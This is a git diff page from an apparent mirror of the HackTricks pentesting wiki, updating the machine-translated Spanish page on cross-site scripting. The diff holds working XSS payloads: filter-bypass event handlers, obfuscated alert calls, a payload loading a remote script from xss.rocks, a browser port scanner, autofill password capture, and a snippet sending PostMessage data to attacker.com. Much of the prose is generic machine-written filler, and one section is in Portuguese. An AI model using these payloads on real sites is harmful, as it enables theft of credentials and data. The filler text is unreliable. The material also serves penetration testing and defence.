mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to es
This commit is contained in:
Translator
parent
f27e3a0e81
commit
132f2c3c1c
1 changed files with 88 additions and 72 deletions
|
|
@ -62,7 +62,7 @@ Si tu entrada se refleja dentro del valor del atributo de una etiqueta, podrías
|
|||
|
||||
1. **Escapar del atributo y de la etiqueta** (luego estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar de ella: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), según la etiqueta, podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, según **qué atributo** refleje tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, según **qué atributo** refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu entrada se refleja dentro de etiquetas "**no explotables**", podrías intentar el truco de **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Dentro del código JavaScript
|
||||
|
|
@ -302,7 +302,7 @@ Los eventos de estilo son una técnica comúnmente utilizada en ataques de XSS (
|
|||
|
||||
Los eventos de estilo se basan en la idea de que los navegadores web pueden interpretar ciertos atributos de estilo como código JavaScript. Al aprovechar esto, un atacante puede insertar código malicioso en un atributo de estilo y lograr que se ejecute cuando se activa un evento específico, como hacer clic en un enlace o pasar el cursor sobre un elemento.
|
||||
|
||||
Un ejemplo común de un evento de estilo es el uso del atributo "onmouseover". Al insertar código JavaScript en este atributo, el atacante puede lograr que se ejecute cuando el usuario pasa el cursor sobre un elemento en particular. Esto puede permitir al atacante robar información confidencial, redirigir al usuario a sitios maliciosos o realizar otras acciones no deseadas.
|
||||
Un ejemplo común de un evento de estilo es el uso del atributo "onmouseover". Al insertar código JavaScript en este atributo, el atacante puede lograr que se ejecute cuando el usuario pasa el cursor sobre un elemento en particular. Esto puede permitir al atacante robar información confidencial, redirigir al usuario a sitios maliciosos o realizar otras acciones maliciosas.
|
||||
|
||||
Es importante tener en cuenta que los eventos de estilo son solo una de las muchas técnicas utilizadas en ataques de XSS. Los desarrolladores web deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, para proteger sus aplicaciones contra este tipo de ataques.
|
||||
```python
|
||||
|
|
@ -346,18 +346,13 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
|
|||
```
|
||||
**Bypassar evento interno usando codificação Unicode**
|
||||
|
||||
A codificação Unicode pode ser usada para contornar eventos internos em ataques de Cross-Site Scripting (XSS). Ao codificar os caracteres especiais em suas representações Unicode, é possível evitar a detecção de filtros de entrada e executar código malicioso.
|
||||
A técnica de codificação Unicode é frequentemente usada para contornar filtros de entrada que bloqueiam certos caracteres especiais. Ao usar a codificação Unicode, é possível representar caracteres especiais por meio de sequências de escape, permitindo que eles passem pelos filtros de entrada.
|
||||
|
||||
Para realizar esse tipo de bypass, siga as etapas abaixo:
|
||||
No contexto de XSS (Cross-Site Scripting), essa técnica pode ser usada para contornar a restrição de eventos internos, como `onmouseover` ou `onclick`. Ao codificar os caracteres especiais relevantes em sequências de escape Unicode, é possível injetar código malicioso em um site e executá-lo quando o evento é acionado.
|
||||
|
||||
1. Identifique o evento interno que está sendo filtrado ou bloqueado.
|
||||
2. Codifique os caracteres especiais em suas representações Unicode usando a tabela de codificação Unicode.
|
||||
3. Insira o código malicioso codificado no campo de entrada ou parâmetro afetado.
|
||||
4. Quando o código malicioso for renderizado, os caracteres especiais serão decodificados e o evento interno será executado.
|
||||
Por exemplo, se o filtro de entrada bloquear o caractere `<`, podemos usar a sequência de escape Unicode correspondente `<` para contornar o filtro. Dessa forma, podemos injetar código malicioso em um atributo de evento, como `onmouseover`, e executá-lo quando o evento ocorrer.
|
||||
|
||||
É importante ressaltar que a codificação Unicode pode variar dependendo do contexto e da linguagem de programação utilizada. Portanto, é necessário adaptar a codificação de acordo com o ambiente específico em que o ataque está sendo realizado.
|
||||
|
||||
Além disso, é fundamental lembrar que a exploração de vulnerabilidades de XSS é ilegal, a menos que seja realizada em um ambiente controlado e com permissão explícita do proprietário do sistema.
|
||||
É importante ressaltar que a codificação Unicode não é uma solução universal para contornar filtros de entrada. Alguns filtros podem ser configurados para detectar e bloquear sequências de escape Unicode. Portanto, é essencial entender as limitações e implementar outras técnicas de evasão, se necessário.
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
|
@ -456,7 +451,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
|
|||
### Bypass en Manejadores de Eventos
|
||||
|
||||
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener información útil sobre los **manejadores de eventos "on"**.\
|
||||
En caso de que exista una lista negra que impida la creación de estos manejadores de eventos, puedes probar los siguientes bypasses:
|
||||
En caso de que exista una lista negra que impida la creación de estos manejadores de eventos, puedes intentar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
|
@ -576,11 +571,16 @@ Cuando el servidor web recibe los datos de entrada codificados, los decodifica y
|
|||
|
||||
Para explotar esta vulnerabilidad, el atacante debe encontrar un punto de entrada en la aplicación web donde pueda inyectar código malicioso. Esto puede ser a través de campos de entrada de usuario, como formularios de inicio de sesión o campos de comentarios, o mediante parámetros de URL.
|
||||
|
||||
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a codificar el código malicioso para evitar la detección y la filtración. Por ejemplo, puede codificar caracteres especiales como "<" o ">" en su equivalente HTML "<" o ">", o codificar todo el código utilizando la codificación de URL.
|
||||
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a manipular los datos de entrada para codificar el código malicioso. Por ejemplo, si el atacante desea inyectar un script JavaScript, puede codificarlo utilizando la función `encodeURIComponent()` en JavaScript.
|
||||
|
||||
Una vez que el código malicioso se ha codificado, se inyecta en el punto de entrada y se envía al servidor web. El servidor web decodifica los datos de entrada y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable.
|
||||
```javascript
|
||||
var maliciousCode = '<script>alert("XSS");</script>';
|
||||
var encodedCode = encodeURIComponent(maliciousCode);
|
||||
```
|
||||
|
||||
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, la codificación adecuada de salida y el uso de bibliotecas y marcos de trabajo seguros. Además, mantenerse actualizado con los últimos parches y actualizaciones de seguridad también es fundamental para protegerse contra las vulnerabilidades conocidas.
|
||||
El código malicioso codificado se puede enviar al servidor web a través de la solicitud HTTP. Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante lograr sus objetivos maliciosos.
|
||||
|
||||
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas en la aplicación web. Esto incluye la validación y filtrado de datos de entrada, la implementación de listas blancas de caracteres permitidos y la codificación adecuada de datos de salida. Además, mantenerse actualizado con los parches de seguridad y las mejores prácticas de desarrollo web puede ayudar a prevenir ataques de XSS.
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
|
|
@ -597,7 +597,7 @@ El proceso implica codificar el código JavaScript en una secuencia de caractere
|
|||
|
||||
Este tipo de ataque puede ser utilizado para robar información confidencial, como credenciales de usuario, o para realizar acciones maliciosas en el sitio web, como redirigir a los usuarios a páginas falsas o realizar cambios no autorizados en el contenido.
|
||||
|
||||
Es importante tener en cuenta que la codificación Unicode no es una técnica exclusiva de XSS, y puede ser utilizada en otros contextos para evadir filtros de seguridad y ejecutar código malicioso. Por lo tanto, es fundamental implementar medidas de seguridad adecuadas, como la validación y sanitización de entradas de usuario, para prevenir este tipo de ataques.
|
||||
Es importante tener en cuenta que la codificación Unicode no es una técnica exclusiva de XSS, y puede ser utilizada en otros tipos de ataques. Por lo tanto, es fundamental implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada, para protegerse contra este tipo de vulnerabilidades.
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
|
@ -638,16 +638,29 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
```
|
||||
**Sustituciones de espacio dentro del código JS**
|
||||
|
||||
En algunos casos, cuando se realiza una inyección de código JavaScript en un sitio web, es posible que se necesite realizar sustituciones de espacio para evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio. Esto se debe a que algunos filtros de seguridad pueden detectar y bloquear ciertos patrones de código, incluyendo espacios en blanco.
|
||||
En algunos casos, cuando se realiza una inyección de código JavaScript en un sitio web, es posible que se necesite realizar sustituciones de espacio para evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio. Esto se debe a que algunos filtros de seguridad pueden buscar patrones específicos de código y bloquearlos.
|
||||
|
||||
Una técnica común para realizar estas sustituciones de espacio es utilizar diferentes métodos para representar un espacio en blanco en el código JavaScript. Algunos ejemplos de estas sustituciones incluyen:
|
||||
Una técnica común para realizar sustituciones de espacio es utilizar diferentes métodos para representar el espacio en blanco en el código JavaScript. Esto puede incluir el uso de caracteres especiales, como `%20` o `\x20`, que representan el espacio en blanco en la codificación URL o en la codificación hexadecimal, respectivamente.
|
||||
|
||||
- Utilizar el carácter de escape `\u0020` para representar un espacio en blanco.
|
||||
- Utilizar la secuencia de escape `\x20` para representar un espacio en blanco.
|
||||
- Utilizar la secuencia de escape `\040` para representar un espacio en blanco en octal.
|
||||
- Utilizar la secuencia de escape `\s` para representar cualquier espacio en blanco, incluyendo espacios, tabulaciones y saltos de línea.
|
||||
Por ejemplo, si se necesita inyectar el siguiente código JavaScript:
|
||||
|
||||
Estas sustituciones de espacio pueden ayudar a evitar la detección y bloqueo del código inyectado, permitiendo que se ejecute correctamente en el sitio web objetivo. Sin embargo, es importante tener en cuenta que estas técnicas pueden variar dependiendo del contexto y de las medidas de seguridad implementadas en el sitio web objetivo. Por lo tanto, es fundamental realizar pruebas exhaustivas y adaptar las sustituciones de espacio según sea necesario.
|
||||
```javascript
|
||||
alert("Hello World");
|
||||
```
|
||||
|
||||
Se puede realizar una sustitución de espacio utilizando `%20` de la siguiente manera:
|
||||
|
||||
```javascript
|
||||
alert("Hello%20World");
|
||||
```
|
||||
|
||||
O utilizando `\x20` de la siguiente manera:
|
||||
|
||||
```javascript
|
||||
alert("Hello\x20World");
|
||||
```
|
||||
|
||||
Estas sustituciones de espacio pueden ayudar a evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio web, permitiendo que se ejecute correctamente la inyección de código JavaScript. Sin embargo, es importante tener en cuenta que las técnicas de evasión pueden variar dependiendo del contexto y de las medidas de seguridad implementadas en el sitio web objetivo.
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
|
|
@ -703,11 +716,9 @@ console.log(log)
|
|||
|
||||
Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de comentarios en el código fuente de una página web. Los comentarios en HTML se definen entre `<!--` y `-->`, y a menudo se utilizan para proporcionar información adicional sobre el código.
|
||||
|
||||
Los atacantes pueden aprovechar esta técnica para insertar código JavaScript malicioso dentro de un comentario en una página web vulnerable. Si el sitio web no tiene una protección adecuada contra XSS, este código puede ejecutarse cuando un usuario visita la página y permitir que el atacante robe información confidencial o realice acciones no autorizadas en nombre del usuario.
|
||||
Los atacantes pueden aprovechar esta técnica para insertar código JavaScript malicioso dentro de un comentario y luego ejecutarlo en el navegador de la víctima. Esto puede permitirles robar información confidencial, como cookies de sesión, o redirigir al usuario a sitios web maliciosos.
|
||||
|
||||
Es importante tener en cuenta que los comentarios en HTML no se muestran en la página web, por lo que el código JavaScript dentro de un comentario no es visible para los usuarios normales. Sin embargo, los navegadores aún interpretarán y ejecutarán este código, lo que lo convierte en una vulnerabilidad potencial.
|
||||
|
||||
Para protegerse contra este tipo de ataque, es fundamental implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, así como el uso de funciones de escape apropiadas al mostrar datos en la página web.
|
||||
Es esencial que los desarrolladores y los profesionales de la seguridad estén atentos a esta posibilidad y realicen pruebas exhaustivas para detectar y corregir cualquier vulnerabilidad de XSS que pueda existir en los comentarios del código fuente de una página web.
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
|
@ -931,6 +942,9 @@ Se produce un XSS.
|
|||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||||
(function(x){this[x+`ert`](1)})`al`
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS con inyección de encabezado en una respuesta 302
|
||||
|
||||
|
|
@ -1195,44 +1209,36 @@ Existen tres tipos principales de XSS:
|
|||
|
||||
2. **Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos de la aplicación web y se muestra a los usuarios cuando acceden a ciertas páginas o secciones. Esto puede ocurrir en comentarios, perfiles de usuario, mensajes de chat, etc.
|
||||
|
||||
3. **Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto ocurre cuando la aplicación web utiliza JavaScript para procesar datos no confiables sin realizar una adecuada validación o sanitización.
|
||||
3. **Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto puede ocurrir cuando la aplicación web utiliza JavaScript para procesar datos no confiables sin realizar una validación adecuada.
|
||||
|
||||
## Prevención de XSS
|
||||
|
||||
Para prevenir el XSS, es importante seguir buenas prácticas de seguridad en el desarrollo de aplicaciones web:
|
||||
Para prevenir ataques XSS, es importante seguir buenas prácticas de seguridad en el desarrollo de aplicaciones web:
|
||||
|
||||
- **Validación y sanitización de datos:** Siempre se deben validar y sanitizar los datos de entrada antes de mostrarlos en la página web. Esto incluye la eliminación de caracteres especiales y la codificación de HTML.
|
||||
|
||||
- **Uso de encabezados de seguridad:** Configurar encabezados de seguridad como Content-Security-Policy (CSP) y X-XSS-Protection puede ayudar a mitigar los ataques XSS al restringir el origen y el tipo de contenido permitido en la página.
|
||||
|
||||
- **Escape adecuado de datos:** Al mostrar datos dinámicos en la página, es importante escapar correctamente los caracteres especiales para evitar la interpretación errónea como código HTML o JavaScript.
|
||||
- **Escape adecuado de datos:** Al mostrar datos dinámicos en la página, se debe utilizar la función de escape adecuada para asegurarse de que los caracteres especiales se muestren correctamente y no se interpreten como código malicioso.
|
||||
|
||||
- **Implementación de mecanismos de autenticación y autorización:** Utilizar mecanismos de autenticación y autorización sólidos puede ayudar a prevenir ataques XSS al limitar el acceso a funciones sensibles de la aplicación.
|
||||
|
||||
- **Actualización y parcheo regular:** Mantener la aplicación web actualizada con las últimas correcciones de seguridad y parches es esencial para protegerse contra nuevas vulnerabilidades conocidas.
|
||||
- **Educación y conciencia:** Es importante educar a los desarrolladores y usuarios sobre los riesgos de XSS y cómo prevenirlo. Esto incluye la capacitación en buenas prácticas de seguridad y la promoción de la conciencia sobre la importancia de no hacer clic en enlaces sospechosos o proporcionar información confidencial en sitios web no confiables.
|
||||
|
||||
## Ejemplo de código vulnerable
|
||||
|
||||
A continuación se muestra un ejemplo de código vulnerable a XSS:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Página vulnerable a XSS</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Bienvenido</h1>
|
||||
<p>Hola, <?php echo $_GET['nombre']; ?>!</p>
|
||||
</body>
|
||||
</html>
|
||||
<script>
|
||||
var userInput = '<<user_input>>';
|
||||
document.write('<p>' + userInput + '</p>');
|
||||
</script>
|
||||
```
|
||||
|
||||
En este ejemplo, el valor del parámetro `nombre` se muestra directamente en la página sin ninguna validación o sanitización. Un atacante podría aprovechar esto para inyectar código malicioso en la URL y ejecutarlo en el navegador del usuario.
|
||||
En este ejemplo, el valor de `userInput` se muestra directamente en la página sin ninguna validación o sanitización. Un atacante podría aprovechar esto para inyectar código malicioso y ejecutarlo en el navegador de los usuarios.
|
||||
|
||||
## Conclusiones
|
||||
## Conclusion
|
||||
|
||||
El XSS es una vulnerabilidad grave que puede tener consecuencias significativas para la seguridad de una aplicación web y sus usuarios. Es importante comprender cómo funciona el XSS y seguir las mejores prácticas de seguridad para prevenirlo.
|
||||
El XSS es una vulnerabilidad grave que puede tener consecuencias significativas para la seguridad de una aplicación web y sus usuarios. Es importante tomar medidas proactivas para prevenir y mitigar los ataques XSS, siguiendo las mejores prácticas de seguridad y manteniendo una buena educación y conciencia sobre los riesgos asociados.
|
||||
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
|
|
@ -1290,25 +1296,25 @@ Durante una prueba de penetración, es posible que desees encontrar las direccio
|
|||
|
||||
Aquí hay algunas técnicas que puedes utilizar para encontrar las IPs internas:
|
||||
|
||||
1. **Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en un rango de direcciones IP. Esto te permitirá identificar qué direcciones IP están activas en la red.
|
||||
1. **Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en la red objetivo. Esto te permitirá descubrir las direcciones IP activas en la red.
|
||||
|
||||
```bash
|
||||
nmap -sn 192.168.0.0/24
|
||||
nmap -sn <dirección de red>
|
||||
```
|
||||
|
||||
2. **ARP Scanning**: Utiliza una herramienta como `arp-scan` para realizar un escaneo ARP en la red. Esto te permitirá obtener una lista de direcciones IP y las correspondientes direcciones MAC de los dispositivos en la red.
|
||||
2. **ARP Scanning**: Utiliza la tabla ARP para descubrir las direcciones IP y las direcciones MAC de los dispositivos en la red local. Puedes utilizar la herramienta `arp-scan` para realizar esto.
|
||||
|
||||
```bash
|
||||
arp-scan --localnet
|
||||
```
|
||||
|
||||
3. **DNS Lookup**: Realiza una búsqueda DNS inversa en un dominio para obtener las direcciones IP asociadas a ese dominio. Esto puede revelar direcciones IP internas utilizadas por el sistema objetivo.
|
||||
3. **DNS Lookup**: Realiza una búsqueda de DNS inversa para obtener información sobre los nombres de host y las direcciones IP asociadas en la red interna. Puedes utilizar la herramienta `nslookup` para esto.
|
||||
|
||||
```bash
|
||||
nslookup google.com
|
||||
nslookup <dirección IP>
|
||||
```
|
||||
|
||||
Recuerda que estas técnicas deben ser utilizadas de manera ética y con el permiso del propietario del sistema objetivo.
|
||||
Recuerda que estas técnicas deben ser utilizadas con fines legales y éticos, y solo en sistemas en los que tengas permiso para realizar pruebas de penetración.
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
|
@ -1370,17 +1376,13 @@ const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors"
|
|||
```
|
||||
### Escáner de puertos (websockets)
|
||||
|
||||
El escáner de puertos es una herramienta utilizada en el pentesting para identificar los puertos abiertos en un sistema objetivo. Esta técnica es especialmente útil en el contexto de los websockets, que son protocolos de comunicación bidireccional utilizados en aplicaciones web interactivas.
|
||||
El escáner de puertos es una herramienta utilizada para identificar los puertos abiertos en un sistema o red. Esta técnica es comúnmente utilizada en pruebas de penetración para descubrir posibles vulnerabilidades en un sistema.
|
||||
|
||||
El escáner de puertos websockets se utiliza para descubrir posibles vulnerabilidades en la implementación de los websockets en un sitio web. Al identificar los puertos abiertos, un hacker puede intentar explotar estas vulnerabilidades para llevar a cabo ataques de cross-site scripting (XSS) u otros ataques maliciosos.
|
||||
El escáner de puertos basado en websockets es una variante del escáner de puertos tradicional que utiliza la tecnología de websockets para realizar la exploración. Los websockets son un protocolo de comunicación bidireccional que permite la comunicación en tiempo real entre un cliente y un servidor.
|
||||
|
||||
El escáner de puertos websockets funciona enviando solicitudes a diferentes puertos y analizando las respuestas recibidas. Si se detecta un puerto abierto, esto indica que el sistema objetivo está escuchando en ese puerto y puede ser vulnerable a ataques.
|
||||
El escáner de puertos basado en websockets funciona enviando solicitudes de conexión a diferentes puertos y analizando las respuestas recibidas. Si se recibe una respuesta positiva, significa que el puerto está abierto y puede ser vulnerable a ataques.
|
||||
|
||||
Es importante destacar que el escaneo de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo, ya que realizar esta actividad sin autorización es ilegal y puede tener consecuencias legales graves.
|
||||
|
||||
Para utilizar un escáner de puertos websockets, se pueden utilizar herramientas específicas como Nmap o Metasploit, que ofrecen funcionalidades avanzadas para el escaneo de puertos y la identificación de vulnerabilidades en los websockets.
|
||||
|
||||
En resumen, el escáner de puertos websockets es una herramienta importante en el arsenal de un pentester para identificar posibles vulnerabilidades en la implementación de los websockets en un sitio web y prevenir ataques maliciosos como el cross-site scripting. Sin embargo, es fundamental obtener el consentimiento del propietario del sistema objetivo antes de realizar cualquier escaneo de puertos.
|
||||
Es importante tener en cuenta que el escaneo de puertos sin el consentimiento del propietario del sistema o red es ilegal y puede tener consecuencias legales graves. Siempre asegúrese de obtener el permiso adecuado antes de realizar cualquier tipo de escaneo de puertos.
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
|
@ -1397,7 +1399,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Los tiempos cortos indican un puerto que responde_ _Los tiempos más largos indican falta de respuesta._
|
||||
|
||||
Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Revisa la lista de puertos bloqueados en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Cuadro para solicitar credenciales
|
||||
```markup
|
||||
|
|
@ -1412,20 +1414,20 @@ Auto-fill passwords capture is a technique used to exploit cross-site scripting
|
|||
1. The attacker identifies a web application that is vulnerable to XSS attacks.
|
||||
2. The attacker crafts a malicious payload that will be injected into the vulnerable website.
|
||||
3. The payload is designed to capture the user's saved passwords by exploiting the browser's password manager.
|
||||
4. The attacker injects the payload into the vulnerable website, either by submitting a form or by manipulating the website's URL parameters.
|
||||
5. When the user visits the compromised website, the payload executes and captures the passwords stored in the browser's password manager.
|
||||
4. The attacker injects the payload into the vulnerable website, typically by submitting a form or manipulating the website's input fields.
|
||||
5. When the user visits the compromised website, the payload executes and captures the user's saved passwords.
|
||||
6. The captured passwords are then sent to the attacker's server for further exploitation.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To mitigate the risk of auto-fill passwords capture, web developers should:
|
||||
|
||||
- Implement input validation and output encoding to prevent XSS vulnerabilities.
|
||||
- Implement input validation and sanitization to prevent XSS vulnerabilities.
|
||||
- Use Content Security Policy (CSP) to restrict the execution of untrusted scripts.
|
||||
- Disable auto-fill functionality for sensitive fields, such as password fields.
|
||||
- Educate users about the risks of enabling auto-fill and encourage them to use password managers with strong encryption.
|
||||
- Regularly update and patch web applications to address any known vulnerabilities.
|
||||
|
||||
By following these mitigation techniques, web developers can help protect users from falling victim to auto-fill passwords capture attacks.
|
||||
By following these best practices, web developers can help protect users from falling victim to auto-fill passwords capture attacks.
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
|
@ -1464,13 +1466,27 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
```
|
||||
### Robando mensajes de PostMessage
|
||||
|
||||
En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de Cross-Site Scripting (XSS) para robar mensajes enviados a través de la función `PostMessage`. La función `PostMessage` se utiliza para comunicarse entre diferentes ventanas o marcos en un sitio web.
|
||||
El ataque de robo de mensajes de PostMessage es una técnica de Cross-Site Scripting (XSS) que permite a un atacante robar mensajes enviados a través de la función `postMessage()` en JavaScript. Esta función se utiliza comúnmente para la comunicación entre ventanas o marcos de un mismo dominio o entre dominios diferentes.
|
||||
|
||||
El ataque de robo de mensajes de `PostMessage` ocurre cuando un atacante logra inyectar código malicioso en una página web que utiliza esta función. El código malicioso puede interceptar y robar los mensajes enviados a través de `PostMessage`, lo que puede permitir al atacante acceder a información confidencial o realizar acciones no autorizadas.
|
||||
#### Cómo funciona
|
||||
|
||||
Para llevar a cabo este tipo de ataque, el atacante puede utilizar técnicas de XSS para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el navegador de la víctima, puede interceptar los mensajes enviados a través de `PostMessage` y enviarlos a un servidor controlado por el atacante.
|
||||
1. El atacante inserta un código malicioso en una página web vulnerable.
|
||||
2. El código malicioso crea un evento de escucha para capturar los mensajes enviados a través de `postMessage()`.
|
||||
3. Cuando un mensaje es enviado, el código malicioso lo intercepta y puede robar su contenido.
|
||||
4. El atacante puede utilizar el contenido robado para realizar acciones maliciosas, como el robo de información confidencial o la ejecución de ataques adicionales.
|
||||
|
||||
Para protegerse contra este tipo de ataque, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, así como el uso de encabezados de seguridad HTTP, como el encabezado `Content-Security-Policy` (CSP). Además, es esencial mantenerse actualizado sobre las últimas vulnerabilidades y parches de seguridad, y aplicarlos en su sitio web para evitar posibles ataques.
|
||||
#### Prevención
|
||||
|
||||
Para prevenir el robo de mensajes de PostMessage, se recomienda seguir las siguientes prácticas de seguridad:
|
||||
|
||||
- Validar y sanitizar todos los datos de entrada para evitar la ejecución de código malicioso.
|
||||
- Utilizar encabezados de seguridad HTTP, como Content Security Policy (CSP), para limitar las fuentes de scripts permitidas en una página web.
|
||||
- Implementar mecanismos de autenticación y autorización adecuados para proteger la información confidencial.
|
||||
- Mantenerse actualizado sobre las últimas vulnerabilidades y parches de seguridad, y aplicarlos regularmente.
|
||||
|
||||
#### Conclusión
|
||||
|
||||
El robo de mensajes de PostMessage es una técnica de ataque XSS que puede comprometer la seguridad de una aplicación web. Al seguir las prácticas de seguridad recomendadas, los desarrolladores pueden reducir el riesgo de este tipo de ataques y proteger la integridad y confidencialidad de los mensajes enviados a través de `postMessage()`.
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
|
@ -1561,7 +1577,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS en Markdown
|
||||
|
||||
¿Se puede inyectar código Markdown que se renderizará? ¡Quizás puedas obtener XSS! Verifica:
|
||||
¿Se puede inyectar código Markdown que se renderizará? ¡Tal vez puedas obtener XSS! Verifica:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
|
@ -1601,7 +1617,7 @@ Ejemplo de [**XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-
|
|||
|
||||
### XSS al cargar archivos (svg)
|
||||
|
||||
Carga como una imagen un archivo como el siguiente (desde [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Carga como una imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
|
|
|||
Loading…
Reference in a new issue